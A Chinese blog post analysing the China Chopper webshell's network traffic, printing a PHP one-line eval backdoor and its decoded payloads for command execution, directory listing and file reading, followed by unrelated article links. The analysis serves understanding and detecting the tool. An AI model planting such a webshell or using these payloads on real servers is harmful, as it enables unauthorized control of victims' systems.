中国菜刀-分析
类似前言一样得废话
昨天偶然看到了中国菜刀这个词,突然发现这类软件的工作原理倒是没有好好看过,只看过 pwntools
的,所以难得有时间,便开着wireshark搞一手,看看发了什么玩意
首先大体分为两种,一种是读取文件的shell,一种是执行命令的shell
执行命令
菜刀用的方式是这样的
第一个php马->z1[post]->r=z1+z2(拼接语句)
->z2[post]
#z1为/bin/sh
#z2为执行所需的命令
在第一个php马中,执行php语句,该Php语句因为过狗的关系,其中所需的值是需要通过二次post来传入的
首先在菜刀中,右键选择虚拟终端
先试着运行一个命令 id
,然后抓包分析一下
这里为了方便解释,所以贴一下一句话木马,我的参数是-7
<?php eval($_POST[-7]);?>
在第一个包中,找到菜刀发送到服务端的包
首先它传入了第一个参数是 -7
,内容是base64,解码后可得
@eval (base64_decode($_POST[z0]));
众所周知,在php中,eval函数,会将括号内的字符串,当作php语句来执行,而菜刀的做法是,在其中又套了一个一句话木马,参数为 z0
然后它传入了第二个参数,参数为 z0
,内容为
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c "{$s}"":"/c "{$s}"";$r="{$p} {$c}";@system($r." 2>&1",$ret);print ($ret!=0)?"
ret={$ret}
":"";;echo("|<-");die();
内容有点鬼畜,我们挨个分析,首先是开头的三个函数
@iniset("displayerrors","0"); 这个是临时关闭PHP的错误显示
@settimelimit(0); 防止执行命令的时候超时
@setmagicquotes_runtime(0); 关闭魔术引号
然后就是代码部分
$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);
它又套了两个参数z1和z2,需要再次post传输进去
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$d通过 dirname
来获取父目录
首先解释一下 $_SERVER["SCRIPT_FILENAME"]
,这个函数的是用来读取该文件所在的位置,在这个环境中是 /var/www/html/elapse/file.php
而 dirname
,则可以用来读取父目录
我在上面通过 $_SERVER["SCRIPT_FILENAME"]
获取到了文件路径为 /var/www/html/elapse/file.php
那么dirname在读取的时候,得到的结果是 /var/www/html/elapse/
然后将这个结果赋值给d,至于这个d有什么用,是后话了
解析来就是有意思的部分了
$c=substr($d,0,1)=="/"?"-c "{$s}"":"/c "{$s}"";$r="{$p} {$c}";
这里要解释一下在php中?:是什么意思
这个是 三目运算符
,看着很高级,其实就是条件运算符,但是为了快捷简单,于是便用这种方法来取代 ifelse
用法如下
<?php
$a>$b ? print "a>b" : "a<b";
#等价于
$if($a>$b){
print"a>b";
}
else{
print"a<b";
}
?>
回到代码上
$c=substr($d,0,1)=="/"?"-c "{$s}"":"/c "{$s}"";
这里的
substr($d,0,1)=="/"
为条件,如果这个路径的第一位为/,那么这个条件就是true,为真,然后他就会执行 ?
后面的东西,然后将执行的语句拼合起来
执行的语句我们看回z2
cd "/var/www/html/elapse/";id;echo [S];pwd;echo [E]
在数据包中,我们还发现了一个z2参数,这个参数是接下来要在对方机器所需要执行的命令,内容如下
cd "/var/www/html/elapse/";id;echo [S];pwd;echo [E]
$d的内容拼接到了cd 后面,然后执行你在虚拟终端中给的命令,接着输出一个 [S]
来区分命令,最后,执行pwd,查看当前路径,然后保存下来,供下一条命令cd用,这样就能做到实时切换目录了,不会因为这次操作了,下一次路径又回到之前的
$r="{$p} {$c}";@system($r." 2>&1",$ret);print ($ret!=0)?"
ret={$ret}
接着就到了执行语句的部分,r的内容为是拼接的,c为执行语句,而
/bin/sh -c cd "/var/www/html/elapse/";id;echo [S];pwd;echo [E]
然后 2>&1
将无用的信息丢到垃圾桶里去,接着放到判断里,如果不是空的,那么就赋值过去,如果是空的,那就啥都不输出
总结一下,就是
1.通过一句话木马传入新得php语句
2.通过该php语句传入真正的执行命令的语句
3.传入上一条2的php语句中所需要的参数使其能正常工作,有/bin/sh和cd /var/www/;等命令
4.将执行结果返还给你
查看文件
查看文件的Shell则比执行命令来的简单一些
这里分两个,一个是读取文件夹内容的,一个是读取文件内容的,先说文件夹的
以下为解码的主要内容
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="t".$T."t".@filesize($P)."t".$E."
";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();
首先还是老套路通过 D=base64_decode(_POST["z1"]);来传入一个路径,该路径为你在菜刀中双击选择的路径(或者为默认的文件所在路径)
获取到了之后,通过 F=@opendir(D);来获取文件夹下的文件名,如果路径不存在,那么
if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}
发送报错,提示路径不存在
否则的话就
$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="t".$T."t".@filesize($P)."t".$E."
";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};
通过while循环读取内容,路径怎么来的呢, P=D."/".
后面就很人性化的写出了文件创建、修改的时间
$T=@date("Y-m-d H:i:s",@filemtime($P));
然后通过函数 fileperms
返回文件权限
@$E=substr(base_convert(@fileperms($P),10,8),-4);
这里的 substr(x,10,8),-4)
的意思是,只显示x内容的前10位,然后只显示8个字符,最后从后往前数4位,最后得到了对应的权限
0644
以及
if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}
对该文件是文件还是文件夹做的判断
最后全部echo出来
菜刀,很细节,好吧
文件读取呢,比较弱智,代码是这样的
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$F=base64_decode($_POST["z1"]);$P=@fopen($F,"r");echo(@fread($P,filesize($F)));@fclose($P);;echo("|<-");die();
就是fopen打开来读取然后关闭,没了
- 【死磕Java并发】—– Java内存模型之重排序
- Mask R-CNN源代码终于来了,还有它背后的物体检测平台
- 37个TOP实例命令,超过一半你肯定都没见过
- 利用TensorFlow生成图像标题
- 保存并加载您的Keras深度学习模型
- 简单、通用的JQuery Tab实现
- Dubbo源码解析 - 远程暴露
- 使用FastText(Facebook的NLP库)进行文本分类和word representatio...
- 声音分类的迁移学习
- 【死磕Java并发】—– J.U.C之AQS:CLH同步队列
- 使用Python完成你的第一个学习项目
- CA,给了数据库,给了机器,为啥也扩不了容?
- 如何使用Anaconda设置机器学习和深度学习的Python环境
- MQ,互联网架构解耦神器
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法